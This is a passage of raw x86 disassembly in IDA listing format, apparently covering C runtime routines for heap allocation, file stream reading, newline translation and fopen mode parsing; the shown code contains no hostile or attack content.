cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE80 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE80, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE60 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 26605F1h cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE80, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE80, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD060[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4E0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD160 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD060h[eax*4] mov eax, dword_4DD060[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jnz short loc_41FA84 nop call near ptr 26808B7h push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDEC, 9 mov dword_4DBDF0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jnz short loc_41FB25 nop call near ptr 26808B7h test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDF0, 0 mov dword_4DBDEC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE54 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFC0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFBC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD040 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC02C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC02C mov [edi+ecx], eax mov eax, dword_4DC02C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE88 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE88 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D598 jz short loc_41FE8A cmp esi, offset dword_43D5B8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 